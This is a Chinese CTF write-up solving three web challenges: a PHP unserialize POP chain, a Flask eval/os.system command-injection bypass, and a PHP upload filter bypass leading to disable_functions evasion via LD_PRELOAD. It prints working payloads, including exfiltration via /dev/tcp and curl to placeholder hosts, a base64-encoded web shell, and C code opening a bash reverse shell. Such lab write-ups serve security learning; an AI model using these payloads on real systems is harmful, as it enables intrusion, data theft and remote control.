Web

ezpop

<?php
highlight_file(__FILE__);
class crow
{
    public $v1;
    public $v2;
    function eval() {
        echo "crow::eval<br>";
        echo new $this->v1($this->v2);
    }
    public function __invoke()
    {
        echo "crow::__invoke<br>";
        $this->v1->world();
    }
}
class fin
{
    public $f1;
    public function __destruct()
    {
        echo "fin::__destruct<br>";
        echo $this->f1 . '114514';
    }
    public function run()
    {
        echo "fin::run<br>";
        ($this->f1)();
    }
    public function __call($a, $b)
    {
        echo "fin::__call<br>";
        echo $this->f1->get_flag();
    }
}
class what
{
    public $a;
    public function __toString()
    {
        echo "what::__toString<br>";
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;
    public function run()
    {
        echo "mix::run<br>";
        ($this->m1)();
    }

    public function get_flag()
    {
        echo "mix::get_flag<br>";
        eval('#' . $this->m1);
    }
}
unserialize($_GET['p']);

拿到题目源码后将它进行了一个简单的变形(每个方法中加一个echo),方便我们在本地调试

找一下链子的开头跟结尾,开头肯定就是__destruct(),结尾应该是两个,一个是mix::get_flag()命令执行,另外一个是crow::eval(原生类读文件),这里我只打了get_flag的那条链子

简单审计一下可以得到链子如下

fin::__destruct()⇒

what::__toString()⇒

fin::run⇒

crow::__invoke()⇒

fin::__call()⇒

mix::get_flag()

以上就是整条pop链,可以看到fin类总共被调用了三次,所以就不能一条链子一把梭了,所以我定义了三个fin类的实例对象,具体的exp如下

 <?php
class crow
{
    public $v1;
    public $v2;
}
class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;
}
$c=new crow();
$f1=new fin();
$f2=new fin();
$f3=new fin();
$w=new what();
$m=new mix();

$f1->f1=$w;
$w->a=$f2;
$f2->f1=$c;
$c->v1=$f3;
$f3->f1=$m;
$m->m1="?><?php system('cat H0mv*');?>";

echo serialize($f1);

这里链子打通了还没有完全结束,还要绕过eval('#' . $this->m1);

这里我用到的是闭合php标签绕过,即?><?php system('ls');?>,最后就是RCE 随便打了

总结:这道题最主要的就是理清链子关系,不用反复引用了本地测试更方便

calc

题目源码

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag


@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"


if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)  

这是一道绕waf的题,eval那里可以ssti,log那里可以控制一部分命令执行,但是这道题禁用的黑名单有点多

import
(
)

_
|
;
"
{
}
&
getattr
os
system
class
subclasses
mro
request
args
eval
if
subprocess
file
open
popen
builtins
compile
execfile
from_pyfile
config
local
self
item
getitem
getattribute
func_globals
__init__
join
__dict__

现在就是想办法命令执行,可以写一个简单的正则表达式来测试我们的payload

/import|\(|\)| |_|\||;|\"|\{|\}|&|getattr|os|system|class|subclasses|mro|request|args|eval|if|subprocess|file|open|popen|builtins|compile|execfile|from_pyfile|config|local|self|item|getitem|getattribute|func_globals|__init__|join|__dict__/gm
blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
             'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
             'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
             'getattribute', 'func_globals', '__init__', 'join', '__dict__']
reg = ''
te = ['(', ')', '|', '{', '}']
for i in blacklist:
    # print(i)
    for j in te:
        if i == j:
            print(j)
            reg += "\\"
    reg += i + "|"

print(reg)

image-20220408111103679

image-20220408114732024

本来想着能不能直接用eval函数直接打ssti,但是看了一下,这个过滤有点狠,基本绕不过

然后接着看,下面有个os.system命令执行,且我们能够控制一部分

log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

os.system(log)

简化一下

echo xxx payload> ./tmp/log.txt
其中payload为可控制的,但是受到黑名单影响

这里可以很容易想到linux的反引号执行命令,然后空格就用Tab%09绕过就行

`ls` > /dev/tcp/xxxx/2333<
将ls的输出重定向到服务器的输入上
也就说服务器接受到的是题目的输入
而输入正好是命令执行的结果

`curl -F xx=@/tmp/log.txt http://xxxx:2333`
利用curl外带/tmp/log.txt里面的数据

直接这样写payload的话,会在eval函数那里报错,所以可以用python的注释符#将它后面的payload个注释掉,当执行命令的时候,linux只会把#当做一个字符看待的

最终payload

1%23%09`ls`%09>%09/dev/tcp/xxxx/2333<


1%23`cat%09/T*`
1%23`curl%09-F%09xx=@tmp/log.txt%09http://xxx:2333`

image-20220408121553119

image-20220408122753666

upgdstore

image-20220408123205834

image-20220408123324139

image-20220408123338353

一道文件上传,且只能上传php文件,而且对文件内容有过滤,上传一句话木马不行,一次一次上传来fuzz太麻烦了,可以写一个脚本

image-20220408130003639

import requests
import re

url = 'http://957a8957-d00e-4202-8e75-6b42be0b41a6.node4.buuoj.cn:81/'
while True:
    payload = input("\n[+]请输入你的payload例如> phpinfo();\n")
    template = f"<?php {payload} ?>"
    proxy = {"http": "127.0.0.1:8080"}
    with open("1.php", "w") as f1:
        f1.write(template)
    with open("1.php", "r") as f:
        # f.write(template+payload)
        data = {"submit": "upload"}
        res = requests.post(url=url, files={'upload_file': f}, data=data, proxies=proxy)
        # print(res.text)
        try:
            reg=re.compile("Look here~ ./(.*?)</div>")
            _url = reg.findall(res.text)[0]
        except Exception as e:
            print(res.text)
            continue
        # print(_url)
        get_url = url + _url
        print(get_url)

image-20220408130034716

image-20220408130105543

搜索发现禁用了特别多的函数,试一下能不能用show_source之类的函数能不能源码给拿出来

image-20220408130642571

发现show_source被禁用了,可以使用base64绕过,当然肯定不止这一中绕过方法

image-20220408130828867

image-20220408130838935

 <div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    嘿伙计,传个火?!
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }


    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

现在感觉就成了RCE的题了

image-20220408131313333

可以看到这里处理黑名单的时候使用的strstr函数,不是正则,strstr是对大小写敏感的,所以用大小写绕过部分黑名单,但是像一句话木马中要用到的$符号那要怎么绕过呢

很明显可以接着使用之前的那个base64绕过

image-20220408131607975

<?php eval($_POST['p']);?>
PD9waHAgZXZhbCgkX1BPU1RbJ3AnXSk7Pz4=

f3b94e88bd1bd325af6f62828c8785dd.php

先上传一个一句话木马的base64编码文件,然后再包含它就行了

php://filter/convert.base64-decode/resource=./f3b94e88bd1bd325af6f62828c8785dd.php

cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2YzYjk0ZTg4YmQxYmQzMjVhZjZmNjI4MjhjODc4NWRkLnBocA==

Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2YzYjk0ZTg4YmQxYmQzMjVhZjZmNjI4MjhjODc4NWRkLnBocA=="));

这里分两次上传的时候注意一个点,就是两次上传不一样的payload的时候需要修改一下文件名,不然就是在原来的文件上进行覆盖,可以看到下面的文件名的规则,就是一个md5加密

image-20220411164354515

image-20220411165322858

image-20220411165519449

但是不知道为啥,用蚁剑连不上,我估计是它把蚁剑使用的那些函数给禁用掉了,所以我们就只能自己找函数去绕过disable_functions,可以参考这两篇文章

https://www.freebuf.com/articles/network/263540.html

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里使用LD_PRELOAD劫持系统函数的方法需要能够上传文件,然后去动态连接这个恶意so文件

首先编译一个恶意so文件,c源代码如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() 
{
    system("bash -c 'exec bash -i &>/dev/tcp/xxxxx/2333 <&1'");
}
int geteuid()
{ 
    if (getenv("LD_PRELOAD") == NULL) 
    { 
        return 0; 
    } 
    unsetenv("LD_PRELOAD"); 
    payload();
}

image-20220411174047137

注意源码使用/n换行,也就是LF,然后在linux上编译

image-20220411174345284

然后尝试用file_put_contents,发现这个函数被禁用了

image-20220411180523379

所以尝试寻找其他文件上传函数,可以看到源码里面有一个move_uploaded_file,该函数也可以进行文件上传

流程就是上传一个接受文件上传的页面,可以使用之前的base64写马的方法,可以直接对1.php的内容进行修改即可

<?php
eval($_POST['p']);
$temp_file = $_FILES['upload_file']['tmp_name'];
if(move_uploaded_file($temp_file, "/var/www/html/uploads/exp.so")) {
    echo "upload success~";
} else {
    echo "failed~";
} 
?>



    PD9waHAKZXZhbCgkX1BPU1RbJ3AnXSk7CiR0ZW1wX2ZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddWyd0bXBfbmFtZSddOwppZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRlbXBfZmlsZSwgIi92YXIvd3d3L2h0bWwvdXBsb2Fkcy9leHAuc28iKSkgewogICAgZWNobyAidXBsb2FkIHN1Y2Nlc3N+IjsKfSBlbHNlIHsKICAgIGVjaG8gImZhaWxlZH4iOwp9IAo/Pg==

然后写一个python脚本去上传这个so文件,代码如下

import requests
import re

url = 'http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/9bc09ee4e0eb91840f7c5207e1d84852.php'
while True:
    input("上传一次")
    proxy = {
        'http':'127.0.0.1:8080'
    }
    with open("exp.so", "rb") as f:
        res = requests.post(url=url, files={'upload_file': f}, proxies=proxy)
        print(res.text)
        try:
            final_url='http://0fba9505-2138-43a3-a610-09c2e9994cee.node4.buuoj.cn:81/uploads/exp.so'
            get_res = requests.get(url=final_url)

            if get_res.status_code != 404:
                print(get_res.text)
        except Exception as e:
            print(res.text)
            continue
        # print(_url

image-20220411214705093

OK, 现在就直接利用这个php文件执行被劫持的系统函数geteuid,该函数会在mail()是自动调用,新开启的mail进程中的geteuid()函数获取的库对象需要我们自己去通过LD_PRELOAD环境变量去指定,由于LD_PRELOAD环境变量中的优先级是最高的,所以会覆盖掉之前的geteuid函数,从而达到执行命令的目的

payload如下

p=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so"); mail('','','','');

image-20220411215321308

image-20220411215634290

成功反弹上shell,但是使用cat命令的时候发现权限不够,尝试suid提权

image-20220411215922347

结果发现有个现成的nl,可以直接代替cat输出的

最后拿到flag

最后修改:2022 年 07 月 25 日
如果觉得我的文章对你有用,请随意赞赏